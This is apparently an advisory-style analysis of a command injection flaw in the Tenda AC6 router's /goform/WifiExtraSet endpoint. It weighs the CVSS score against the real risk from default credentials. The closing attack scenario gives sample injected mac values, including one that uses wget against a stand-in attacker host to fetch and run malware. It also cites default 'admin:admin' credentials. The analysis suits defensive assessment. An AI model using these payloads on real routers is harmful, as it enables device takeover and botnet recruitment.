Tenda AC6 EUVD-2026-29019

High-privilege authentication is required: attacker must possess valid admin credentials for the Tenda AC6 web interface (CVSS PR:H). In default/common deployments, this means either (1) default credentials are unchanged (admin:admin or similar Tenda defaults), or (2) admin password is weak/guessable. The vulnerability only affects the fromSetWirelessRepeat function in /goform/WifiExtraSet endpoint, activated when modifying wireless repeat/mesh settings. No special configuration flags are mentioned; the function is part of standard httpd functionality. The attack vector is network-accessible (AV:N), but ONLY to parties who can authenticate, which limits it to LAN-side administrative access in typical deployments, or WAN-side access if remote management is explicitly enabled. Attack complexity is LOW (AC:L), meaning successful exploitation does not require timing, special network conditions, or brute-force; any command-injection payload will execute once authenticated. Non-authenticated users cannot trigger this vulnerability, making it inaccessible to unauthenticated remote attackers unless admin credentials are compromised or left at defaults.

This vulnerability presents a CONTRADICTORY risk profile requiring careful interpretation. The CVSS v4.0 score of 2.0 is EXTREMELY LOW despite the presence of a command injection flaw with public exploits, primarily because the CVSS vector specifies PR:H (high privilege required), meaning an authenticated administrator must trigger the payload. Additionally, CVSS impact ratings show VC:L, VI:L, VA:L (all low), suggesting the framework assesses limited scope for damage. However, CRITICAL CONFLICT: The description states 'possible to initiate the attack remotely' with no authentication qualifier, yet CVSS requires PR:H. This suggests either (1) the CVSS scoring is overly conservative for an embedded device where admin access may be easily obtained through default credentials, (2) the description's 'remotely' is misleading and means remote over LAN, or (3) admin authentication is weak/bypassable in deployed devices. For Tenda routers specifically, empirical evidence of widespread default credential vulnerabilities and firmware security shortcomings suggests the PR:H constraint is the primary limiting factor, not an exploit blocker. Real-world risk is MODERATE-to-HIGH for devices where the admin account uses default credentials (very common in Tenda AC6 deployments), but LOW for hardened instances. Public POC availability (noted in description: 'exploit has been released to the public') increases practical exploitation probability beyond the low EPSS typically associated with high-privilege requirements. RECOMMENDATION: Assess based on whether target Tenda AC6 instances enforce strong admin credentials; if default creds are in use, treat this as HIGH priority despite CVSS 2.0.

An attacker with administrative access to a Tenda AC6 router (via default credentials 'admin:admin' commonly left unchanged) logs into the web interface and crafts a request to /goform/WifiExtraSet with a malicious mac parameter containing shell metacharacters, such as 'AA:BB:CC:DD:EE:FF; reboot' or 'AA:BB:CC:DD:EE:FF $(wget http://attacker.com/malware -O /tmp/x && sh /tmp/x)'. The fromSetWirelessRepeat function concatenates this unsanitized input into an OS command, executing the injected payload with httpd privileges (typically root or high-privilege daemon user). The attacker gains arbitrary command execution on the router, enabling credential theft, traffic interception, persistent backdoor installation, or use of the router as a botnet node.